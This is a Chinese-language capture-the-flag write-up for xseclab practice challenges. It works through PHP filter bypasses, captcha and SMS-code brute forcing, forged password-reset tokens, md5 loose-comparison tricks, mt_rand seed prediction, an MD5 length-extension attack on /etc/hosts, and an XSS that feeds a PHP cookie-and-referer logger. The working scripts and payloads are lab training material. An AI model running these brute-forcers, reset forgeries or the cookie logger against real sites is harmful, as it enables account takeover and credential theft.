網路安全實驗室CTF練習題目
include('flag.php');
$smile = 1;
if (!isset ($_GET['^_^'])) $smile = 0;
if (preg_match ('/\./', $_GET['^_^'])) $smile = 0;
if (preg_match ('/%/', $_GET['^_^'])) $smile = 0;
if (preg_match ('/[0-9]/', $_GET['^_^'])) $smile = 0;
if (preg_match ('/http/', $_GET['^_^']) ) $smile = 0;
if (preg_match ('/https/', $_GET['^_^']) ) $smile = 0;
if (preg_match ('/ftp/', $_GET['^_^'])) $smile = 0;
if (preg_match ('/telnet/', $_GET['^_^'])) $smile = 0;
if (preg_match ('/_/', $_SERVER['QUERY_STRING'])) $smile = 0;
if ($smile) {
if (@file_exists ($_GET['^_^'])) $smile = 0;
}
if ($smile) {
$smile = @file_get_contents ($_GET['^_^']);
if ($smile === "(●'◡'●)") die($flag);
}
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
顯然引數為^^=(●’◡’●),但QUERY_STRING過濾了‘’,且檔案不能存在,但可以讀取檔案內容,前面又過濾了一堆http、ftp等。因PHP自動回替換.為_,使用data協議,構造引數為:?^.^=data://text/plain;charset=unicode,(●’◡’●)
提交之前需先點一下獲取驗證碼,檢視提交後的header,取得cookie,提交的引數。
識別驗證碼可用tesseract,程式碼如下:
#!/usr/bin/python
# -*- coding: utf-8 -*-
import requests #呼叫url、cookie操作 檔案操作的庫
import sys
import time
from pytesseract import *
from PIL import Image
def vcode(pic_url,cookies):
"python驗證碼識別函式"
r = requests.get(pic_url, cookies=cookies, timeout=10)
with open('vcode.png', 'wb') as pic:
pic.write(r.content)
image=Image.open('vcode.png')
im = image_to_string(image)
#print im
im = im.replace(' ', '')
if im.isdigit() and len(im)==4:
return im
else:
return vcode(pic_url,cookies)
cookies = {'saeut': '14.19.157.117.1435504248010840','PHPSESSID':'2cec394dbfba709823daea4ba71eb04a'}
payload = {'username': '13388886666', 'mobi_code': '100','user_code':'5053','Login':'submit'}
#headers = {'user-agent': 'my-app/0.0.1'}
picurl='http://lab1.xseclab.com/vcode7_f7947d56f22133dbc85dda4f28530268/vcode.php'
url="http://lab1.xseclab.com/vcode7_f7947d56f22133dbc85dda4f28530268/login.php"
#filename = u"D:/Users/flag.txt"
#fp = open(filename, 'a')
for i in range(100,999):
code1=vcode(picurl,cookies)
#time.sleep(0.01)
payload['user_code']=code1
payload['mobi_code']='%d'%(i)
wp = requests.post(url, data=payload,cookies=cookies, timeout=10) #params=payload get,headers=headers
#print(wp.text)
text=wp.content
#text=text[2:len(text)]
#print 'length:%d'%(len(text))
#fp.write(text.encode('utf-8'))
responsetxt = text.encode('utf-8')
if 'error' not in responsetxt:
print 'The correct code is:', code1,responsetxt
break
else:
print 'tring code:', i, code1,responsetxt
print("get flag success")
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
- 41
- 42
- 43
- 44
- 45
- 46
- 47
- 48
- 49
- 50
- 51
- 52
- 53
手機驗證碼從100開始嘗試,取得flag後會跳出
tring code: 294 0397 user_code or mobi_code error
tring code: 295 1728 user_code or mobi_code error
The correct code is 1728 key is 133dbc85dda4aa**)
get flag success
- 1
- 2
- 3
- 4
3、解密關第1題:http://lab1.xseclab.com/password1_dc178aa12e73cfc184676a4100e07dac/
該題說明了可重置其他使用者密碼,但不可重置管理員的。
這裡可使用平行許可權漏洞,將其他使用者改為admin,先獲取cookie,sukey=md5(time()),嘗試執行過程中要去點一下admin賬號的重置密碼,之後很快key就出來了。
程式碼如下:
#!/usr/bin/env python
# -*- coding: gbk -*-
import requests
import hashlib
import time
"執行前需要先點一下admin的重置密碼按鈕"
s = requests.Session()
header = {'Cookie': 'saeut=14.19.157.117.1435504248010840; PHPSESSID=ffb638b41b60e696a2793815bedc32fa'}
while True:
pwd = hashlib.new('md5', str(int(time.time()))).hexdigest()
url = 'http://lab1.xseclab.com/password1_dc178aa12e73cfc184676a4100e07dac/reset.php?sukey=' + pwd + '&username=admin'
r = s.get(url, headers=header)
time.sleep(1)
text=r.content
responsetxt = text.encode('utf-8')
if text != '':
print url,r.content
break
else:
print '正在破解中……', pwd
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
執行中去點一下admin的重置密碼按鈕
正在破解中…… aa4797f696c408b8cb6ec7304fc118d0
正在破解中…… 7257b11dde5b8d6135652a56c730947d
正在破解中…… 656fb3b904dfbb161ba482ce7e3496b5
正在破解中…… fd27309d902c1cc3ee209779ab5d7215
正在破解中…… b80bfe65dc163e9b7a13e0bcb6c00349
http://lab1.xseclab.com/password1_dc178aa12e73cfc184676a4100e07dac/reset.php?suk
ey=383edc5fe95d7638fae3629b29fb16f0&username=admin key is yestimeispassword
4、解密關第6題
給定的密碼串,base64解碼出來是亂碼,顯然裡面某些字母應該是小寫,才能保證解碼出來是正確值。由於3位明文轉化為4位base64值,可以通過逐位變換大小寫來,以4個字元為單位觀察解碼後是否為可見字元。
通過遞迴的方式遍歷,程式碼如下,執行結果最可能的結果是hey!IloveU!
#!/usr/bin/python
# -*- coding: utf-8 -*-
import base64
import binascii
b64str='AGV5IULSB3ZLVSE='
f=open('flag.txt','w')
def base64code(s,d):
global b64str
global f
if(d==len(b64str)):
f.write(binascii.b2a_qp(base64.b64decode(s))+'\n')
else:
base64code(s+b64str[d],d+1)
if b64str[d].isalpha():
base64code(s+b64str[d].lower(),d+1)
base64code('',0)
f.close()
f=open('flag.txt','r')
for l in f.readlines():
if '=' not in l:
print(l)
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
<?php
$flag=FLAG;
if(isset($_POST["password"])){
$password=$_POST['password'];
$rootadmin="!1793422703!";
if($password==$rootadmin){die("Please do not attack admin account!");}
if(md5($password)==md5($rootadmin)){
echo $flag;
}else{
die("Password Error!");
}
}
?>
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
這題好久沒做出來,突然搜尋php字串比較發現了思路。比較的是md5值,php進行字串比較時若若雙等號會轉化為數字再進行比較,若用===則會根據資料型別進行比較,所以這裡有漏洞。
!1793422703!的md5值為0e332932043729729062996282883873,轉化為數字就是0,故只要password引數的md5值以0開頭且第二位為字母即可達到目的。
http://www.219.me/posts/2884.html 這個頁面有一堆,隨便選一個傳進去即可。
6、解密關第8題
應該是硬體採集日誌分析,參照http://www.waitalone.cn/security-hardware-usb.html的方法,下載邏輯分析儀軟體,地址為http://downloads.saleae.com/betas/1.2.3/Logic+Setup+1.2.3.exe
看到一串值分別為iloveyouxiaoguniang!提交過去怎麼都不對,搜尋comma為逗號,加上逗號提交成功,key為iloveyou,xiaoguniang!
7、解密關第5題
題目地址:http://lab1.xseclab.com/password2_454a7a7cb7213e14695c022cfb04141c/index.php
這是道IC卡資料安全分析題目,比較典型,以後物聯網發展也是重點。需要掌握的是金額和校驗。10000為0x2710,取反為0xFFFFD8EF.
若要修改餘額為200元,20000為0x4e20,取反為0xFFFFB1DF,修改第6行紅框資料。 第一行為uid等資訊,前4位為uid,第5位為校驗位,一般是CRC迴圈冗餘校驗或奇偶校驗,以後再研究。將第一行或前5個位元組全改為00,提交驗證成功。
還可以用工具計算校驗碼,工具下載:http://s1.boby.im/other/XOR&KEY.exe,計算A4BA3EAA的校驗碼為8A,將88改為8A(其實將前4個位元組求異或即得到8A)。
<?php
session_start();
include '_flag.php';
date_default_timezone_set('Asia/Shanghai');
if(isset($_POST['token']) && isset($_SESSION['token']) &&!empty($_POST['token'])&&!empty($_SESSION['token'])){
if($_POST['token']==$_SESSION['token']){
echo "PassResetSuccess! Your Flag is:".$flag;
}else{
echo "Token_error!";
}
}else{
mt_srand(time());
$rand= mt_rand();
$_SESSION['token']=sha1(md5($rand));
echo "Token Generate Ok! now send email to your EmailBox!.....";
if(sendmymail($_SESSION['token'])){
echo "SendOK! \r\n<br> Your password reset Token has been send to your mailbox! <br>Please Check your mail box and fill your token here to reset your password!<br>";
};
}
echo '<form action="" method="POST">
<input type="text" name="token">
<input type="submit" value="submit">
</form>';
echo "<!--\r\n".file_get_contents(__FILE__);
?>
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
需要比較的是傳入的post引數與隨機生成的引數並進行hash計算後的結果比較。存在漏洞的地方是mt_srand(time()); 若 時間引數不變,mt_rand()這裡生成的隨機數是固定的,因此可進行爆破。
由於用的是PHP特性,使用PHP的requests模組進行(參考http://segmentfault.com/a/1190000002867007)下載後放置在一個目錄,如/var/tmp/下
編寫爆破程式碼如下:
<?php
require_once '/var/tmp/Requests/library/Requests.php';
Requests::register_autoloader();
date_default_timezone_set('Asia/Shanghai');
echo time()."start\r\n";
$data = array('token' => '0', 'submit' => 'submit');
$headers=array('Cookie' =>"your cocokie value");
$response = Requests::post('http://lab1.xseclab.com/pentest6_210deacdf09c9fe184d16c8f7288164f/resetpwd.php', $headers, $data);
$time1=time();
echo $time1."end\r\n";
echo $response->body;
//echo "time:".time()."\r\n";
//mt_srand(time());
for($i=-20;$i<20;$i++)
{
echo $i."row:".time();
mt_srand($time1+10+$i);
$rand= mt_rand();
echo $rand."\r\n";
$token=sha1(md5($rand));
$data = array('token' => $token, 'submit' => 'submit');
$headers=array('Cookie' =>"your cookie value");
$response = Requests::post('http://lab1.xseclab.com/pentest6_210deacdf09c9fe184d16c8f7288164f/resetpwd.php', $headers, $data);
if(strpos($response->body,"Token_error!")!=FALSE)
{
echo $response->body;
break;
}
}
?>
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
幾次迴圈很快就可得到結果:
PassResetSuccess! Your Flag is:NotSecurityRandomNowYouKnown
9、解密關第9題:
題目地址:http://lab1.xseclab.com/decrypt1_53a52adb49c55c8daa5c8ee0ff59befe/md5_le.php
審讀原始碼,發現加密方式為md5(mysalt.message),且鹽為6位,對路徑/etc/hosts加密後得到311a96cefc6bb3fea17839489de5190b
題目有提示MD5 Length Extension Attack!
搜尋MD5 Length Extension Attack找到plaidctf-2014-twenty_mtpox有道題類似。
下載工具:
git clone https://github.com/iagox86/hash_extender
cd hash_extender
make
- 1
- 2
- 3
執行:
./hash_extender -f md5 -l 6 -d '/etc/hosts' -s '311a96cefc6bb3fea17839489de5190b' -a '' --out-data-format=html
Type: md5
Secret length: 6
New signature: 08972a6d7297d58896f7f8f4c7236a95
New string: %2fetc%2fhosts%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80%00%00%00%00%00%00%00
- 1
- 2
- 3
- 4
- 5
注入引數
http://lab1.xseclab.com/decrypt1_53a52adb49c55c8daa5c8ee0ff59befe/md5_le.php?filepath=%2fetc%2fhosts%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80%00%00%00%00%00%00%00&sign=08972a6d7297d58896f7f8f4c7236a95
- 1
即可得到key
Flag is: Md5LenghtExtAttackNowYouSee
- 1
10、綜合關第3題
題目地址:http://lab1.xseclab.com/xss4_730ee2b59ca3b71c25efa2147498b35e/index.php
題目提示:屌絲小明進入了管理員的郵箱,獲取了祕密。
還有兩個提示:郵箱沒有xss,管理員用的手機郵箱,通過url和sid驗證。
系統有兩個頁面,index.php錄入,post.php提交併呈現。測試發現使用者名稱和圖片說明,post頁面會對自動進行html轉換,而圖片連結url欄位未進行轉換,可進行xss注射。
根據題目說明,傳送的圖片會到管理員郵箱進行稽核,由於速度很快,郵箱應該是自動稽核。這裡只要抓取到管理員訪問該圖片的referer即可。嘗試xss獲取referer,未成功。
浪費了不少時間,想放棄了,但因只剩一題未解了,多有遺憾。再給管理員發信,得知思路基本那樣,構造一個圖片url,可以獲取對方IP和訪問的郵箱地址。再後來管理員提示了一個系統:
http://t.cn/RyPhtE2. 可自動生成一個圖片,可獲取url和地址,系統就是他們自己做的,系統並未公開,說明如下:
該平臺可幫助您檢視對方的ip地址和作業系統等有關資訊。
本系統不是XSS平臺,但擁有比XSS平臺更為特殊的功能!
使用方法:
1.將本平臺生成的圖片標籤嵌入到要探測的網頁或郵件正文中
2.訪客訪問該圖片或者圖片在頁面中被自動載入均可刺探到訪客資訊
3.到本平臺檢視獲取到的資訊即可
- 1
- 2
- 3
- 4
- 5
- 6
- 7
登入該系統,生成一個圖片,將圖片的url放到題目index.php中圖片連結url處,提交後該系統會自動記錄訪問情況,發現一條記錄:
訪問瀏覽器為
SAE/fetchurl-x2wowz30k1 Mozilla/6.0 (Macintosh; Intel Mac OS X 10_10_9) AppleWebKit/538.38 (KHTML, like Gecko) Chrome Safari
- 1
<?php
$mysql = new SaeMysql();
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$time=date("j F, Y, g:i a");
$referer=getenv ('HTTP_REFERER');
$sql="insert into xsstest values (1,'".$ip."','".$time."','".$referer."','".$cookie."')";
echo $sql."<br>";
$mysql->runSql($sql);
if ($mysql->errno() != 0)
{
die("Error:" . $mysql->errmsg());
}
$mysql->closeDb();
?>
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
在圖片連結中輸入該頁面訪問地址,提交後資料庫多了兩條記錄,一條是題目平臺訪問,一條是客戶端post.php頁面呈現時訪問記錄。題目平臺訪問的referer即為郵箱地址,訪問該地址獲得可以。
題目其實不復雜,只要xss獲得referer地址即可,比較簡單的xss注入。但提示模糊,線索不清楚,題目不算太好,不過也算開拓了下思路。